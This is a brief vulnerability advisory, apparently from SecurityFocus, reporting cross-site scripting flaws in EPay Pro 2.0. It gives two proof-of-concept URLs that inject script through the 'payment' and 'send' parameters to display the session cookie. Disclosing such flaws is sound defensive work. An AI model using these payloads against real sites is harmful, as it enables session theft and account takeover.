source: https://www.securityfocus.com/bid/12974/info
It is reported that EPay Pro is affected by various cross-site scripting vulnerabilities.
These problems present themselves when malicious HTML and script code is sent to the application through multiple parameters.
This issue may allow for theft of cookie-based authentication credentials or other attacks.
EPay Pro version 2.0 is vulnerable to these issues.
http://www.example.com/epal/?order_num=crap&payment="><script>alert(document.cookie)</script>&send=first&send=regular&send=priority&send=express
Pops cookie
http://www.example.com/epal/?order_num=crap&payment=crap&send=first&send=regular&send=priority&send='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Pops cookie